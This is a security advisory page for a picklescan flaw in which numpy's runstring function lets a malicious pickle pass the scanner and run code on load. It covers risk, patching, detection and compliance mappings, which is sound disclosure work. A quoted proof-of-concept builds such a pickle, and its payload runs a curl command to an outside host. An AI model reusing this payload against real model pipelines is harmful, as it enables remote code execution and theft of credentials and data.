GHSA-fj43-3qmq-673f: picklescan: numpy bypass enables RCE in ML model pipelines

GHSA-fj43-3qmq-673f MEDIUM
Published April 7, 2025
CISO Take

picklescan — the de facto security gate for pickle/PyTorch model files — can be bypassed using numpy's internal runstring function, which picklescan does not blacklist. Any team using picklescan to validate models before loading (including InvokeAI and similar platforms) is exposed to supply chain RCE. Patch to picklescan 0.0.25 immediately and treat any pickle file scanned with prior versions as potentially compromised.

Risk Assessment

HIGH operational risk for ML teams that accept externally sourced model files. The vulnerability entirely negates the security control picklescan provides, converting a false sense of security into active exposure. Exploitability is straightforward: the PoC is public, requires only Python knowledge, and the attack surface (ML model sharing via Hugging Face, GitHub, S3) is wide. The absence of CVSS scoring understates severity — in AI supply chain context this is effectively a scanner evasion leading to arbitrary OS command execution.

Affected Systems

Package Ecosystem Vulnerable Range Patched
picklescan pip < 0.0.25 0.0.25
401 3 dependents Pushed 2mo ago 95% patched ~12d to patch Full package profile →

Do you use picklescan? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Moderate

Recommended Action

6 steps
  1. PATCH

    Upgrade picklescan to 0.0.25+ which adds numpy to the unsafe globals blacklist.

  2. AUDIT

    Treat all pickle files scanned with picklescan < 0.0.25 as unvalidated — rescan or quarantine.

  3. FORMAT MIGRATION

    Migrate model serialization to safetensors (HuggingFace) or ONNX — avoid pickle for model weights entirely.

  4. DEFENSE IN DEPTH

    Do not rely solely on allowlist/blacklist scanning for pickle files; run model loading in sandboxed environments (containers with no network, restricted syscalls via seccomp).

  5. DETECTION

    Alert on unusual numpy.testing._private.utils imports or runstring calls in process monitoring.

  6. SUPPLY CHAIN

    Verify model file checksums against publisher-provided hashes and prefer signed artifacts.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art.15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.1.4 - AI system supply chain management A.9.3 - AI system security controls
NIST AI RMF
GOVERN-1.7 - Processes for AI risk management MAP-5.2 - AI risk from third-party components
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is GHSA-fj43-3qmq-673f?

picklescan — the de facto security gate for pickle/PyTorch model files — can be bypassed using numpy's internal runstring function, which picklescan does not blacklist. Any team using picklescan to validate models before loading (including InvokeAI and similar platforms) is exposed to supply chain RCE. Patch to picklescan 0.0.25 immediately and treat any pickle file scanned with prior versions as potentially compromised.

Is GHSA-fj43-3qmq-673f actively exploited?

No confirmed active exploitation of GHSA-fj43-3qmq-673f has been reported, but organizations should still patch proactively.

How to fix GHSA-fj43-3qmq-673f?

1. PATCH: Upgrade picklescan to 0.0.25+ which adds numpy to the unsafe globals blacklist. 2. AUDIT: Treat all pickle files scanned with picklescan < 0.0.25 as unvalidated — rescan or quarantine. 3. FORMAT MIGRATION: Migrate model serialization to safetensors (HuggingFace) or ONNX — avoid pickle for model weights entirely. 4. DEFENSE IN DEPTH: Do not rely solely on allowlist/blacklist scanning for pickle files; run model loading in sandboxed environments (containers with no network, restricted syscalls via seccomp). 5. DETECTION: Alert on unusual numpy.testing._private.utils imports or runstring calls in process monitoring. 6. SUPPLY CHAIN: Verify model file checksums against publisher-provided hashes and prefer signed artifacts.

What systems are affected by GHSA-fj43-3qmq-673f?

This vulnerability affects the following AI/ML architecture patterns: model serving, training pipelines, model registries, MLOps pipelines, inference infrastructure.

What is the CVSS score for GHSA-fj43-3qmq-673f?

No CVSS score has been assigned yet.

Technical Details

NVD Description

### Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands. ### Details Pickle’s deserialization process is known to allow execution of function via **reduce** method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan. The attack payload executes in the following steps: - First, the attacker craft the payload by import **runstring** function in **numpy.testing._private.utils** - Then, inside **reduce** method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. - Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle import torch import pickle from picklescan.scanner import scan_file_path class Payload: def __reduce__(self): from numpy.testing._private.utils import runstring return runstring, ("import os; os.system('curl https://example.com')",{}) def create_payload(): with open('payload.pickle', 'wb') as f: pickle.dump(Payload(), f) def load_payload(): result = scan_file_path('payload.pickle') if result.infected_files != 0 or result.scan_err: print('File is infected') else: print('File is clean') with open('payload.pickle', 'rb') as f: pickle.load(f) create_payload() load_payload() ``` ### Impact Severity: High Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI) What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Recommended Fixes: I suggest adding Numpy library to the unsafe globals blacklist.

Exploitation Scenario

An adversary targets an organization's AI image generation stack (e.g., Stable Diffusion deployment using InvokeAI). They upload a malicious model checkpoint to a public model repository or send it via a phishing email as a 'fine-tuned' model. The ML engineer runs picklescan on the file — it reports clean. The engineer loads the model via torch.load() or pickle.load(). The __reduce__ method triggers numpy.testing._private.utils.runstring with a payload that imports os and calls os.system(), executing a reverse shell or downloading a C2 implant. The attacker now has code execution in the context of the ML worker process, with access to model weights, training data, API credentials, and cloud provider metadata endpoints.

Timeline

Published
April 7, 2025
Last Modified
April 7, 2025
First Seen
March 24, 2026

Related Vulnerabilities